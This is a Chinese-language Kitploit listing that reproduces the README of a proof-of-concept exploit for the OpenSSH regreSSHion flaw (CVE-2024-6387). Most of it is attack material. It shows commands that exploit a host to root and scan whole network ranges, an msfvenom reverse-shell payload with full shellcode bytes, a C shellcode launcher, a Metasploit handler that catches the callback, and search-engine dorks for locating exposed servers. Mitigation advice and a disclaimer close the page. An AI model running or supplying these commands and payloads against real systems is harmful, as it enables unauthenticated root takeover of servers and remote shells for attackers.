Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-6387 — 针对CVE-2024-6387(regreSSHion)的概念验证漏洞利用工具,目标是通过信号处理器竞争条件在OpenSSH服务器上实现未认证远程代码执行。包含扫描、利用和反向shell生成功能。 | Kitploit
工具/GitHubGitHub/prelearn-code/cve-2024-6387
漏洞分析漏洞利用Shellcode渗透测试命令与控制远程访问工具Payload 开发
GitHubprelearn-code/cve-2024-6387

CVE-2024-6387

针对CVE-2024-6387(regreSSHion)的概念验证漏洞利用工具,目标是通过信号处理器竞争条件在OpenSSH服务器上实现未认证远程代码执行。包含扫描、利用和反向shell生成功能。

查看仓库
232年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

转载原文

openssh CVE-2024-6387 - PoC

📜 描述

注意:此脚本是一个快速原型 PoC,可能会出现一些错误和 bug。 测试环境:Kali Linux, ParrotSec, Ubuntu 22.04

OpenSSH 服务器中的远程未认证代码执行漏洞

在 OpenSSH 服务器 (sshd) 中发现了一个信号处理程序竞态条件:当客户端未在 LoginGraceTime 秒(默认 120 秒,旧版 OpenSSH 默认为 600 秒)内完成认证时,sshd 的 SIGALRM 处理程序会被异步调用。然而,该信号处理程序调用了多个非异步信号安全的函数,例如 syslog()。

📁 目录

  • 📖 详细信息
  • ⚙️ 使用方法
  • 🔍 主机发现
  • 🛠️ 缓解措施
  • 💁 参考
  • 📌 作者
  • 📢 免责声明

✍🏻 详细信息

技术细节请参见此处。

该漏洞由 Qualys 的研究人员在 2024 年 5 月 发现,并被分配编号 CVE-2024-6387,原因是 sshd 中存在信号处理程序竞态条件,允许未认证的远程攻击者以 root 身份执行任意代码。

“如果客户端未在 LoginGraceTime 秒(默认 120 秒)内完成认证,sshd 的 SIGALRM 处理程序会被异步调用,并调用多个非异步信号安全的函数。”

“远程未认证攻击者可以利用此漏洞以 root 权限执行任意代码。”

⚙️ 使用方法

扫描 OpenSSH 服务器

要求:最新版 python3

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

导出为 (csv, txt, json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

多个目标

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

添加超时

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

网络范围

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

自定义端口

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

提权过程

获取反向 Shell

root@kitploit:~
# 生成 shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

自定义载荷

root@kitploit:~
#include <stdio.h>

// 你的自定义载荷占位符
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // 执行 shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

实际载荷

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// 可能的 glibc 基址(用于绕过 ASLR)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode 占位符(替换为实际 shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

编译并启动载荷

root@kitploit:~
# 编译载荷
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

执行载荷

root@kitploit:~
# 当收到成功利用的消息后,msfconsole 将自动启动 Meterpreter 会话。
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

捕获载荷

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 主机发现

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ 缓解措施

  • 补丁管理:快速应用 OpenSSH 的可用补丁对于缩小漏洞窗口至关重要。及时打补丁可确保已知的利用方法无法针对您的系统,从而减少攻击者的机会窗口。

  • 增强访问控制:通过基于网络的控件限制 SSH 访问可增加一道防御层。这种方法通过将 SSH 连接限制为仅允许授权网络或 IP 地址,从而最小化潜在攻击者的暴露面。实施防火墙规则或使用 VPN 进行安全访问等工具可有效实施这些限制。

  • 网络分段:将网络划分为多个网段有助于控制潜在入侵的影响。通过将关键系统和敏感数据与网络中不太关键的部分隔离,可以降低攻击者横向移动的风险。这种分段可以辅以严格的访问控制和监控,以检测并响应任何未经授权突破这些网段的尝试。

  • 入侵检测系统 (IDS):部署 IDS 或入侵防御系统 (IPS) 可实现对网络流量和系统日志的实时监控。这些系统可以检测与 regreSSHion 漏洞相关的可疑活动及潜在的利用尝试。此类系统触发的警报允许在造成重大损害之前进行及时调查和缓解。

  • 监控利用尝试:持续监控网络和系统日志至关重要。注意任何可能表明尝试利用 OpenSSH 漏洞的异常模式或活动。这种主动方法有助于在威胁造成危害之前识别并响应它们。

💁 参考

  • 原作者:CVE-2024-6387 扫描器
  • 原作者:CVE-2024-6387 PoC

更多参考

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/

📌 作者

  • Facebook
  • Twitter (X)
  • Medium
  • Website

📢 免责声明

  • 重要提示:
    • 此工具仅供授权的渗透测试和红队演习使用。它旨在识别和利用基于 glibc 的 Linux 系统上 OpenSSH 服务器的漏洞。未经授权使用此工具是严格禁止的,此工具的所有者对任何未经授权的访问或恶意使用不承担任何责任。
  • 法律声明:
    • 在未获得相应所有者明确授权的情况下,对此工具在系统或网络上的未授权使用可能违反适用的法律法规。用户有责任确保其遵守网络安全测试及评估相关的法律及道德标准。
下载工具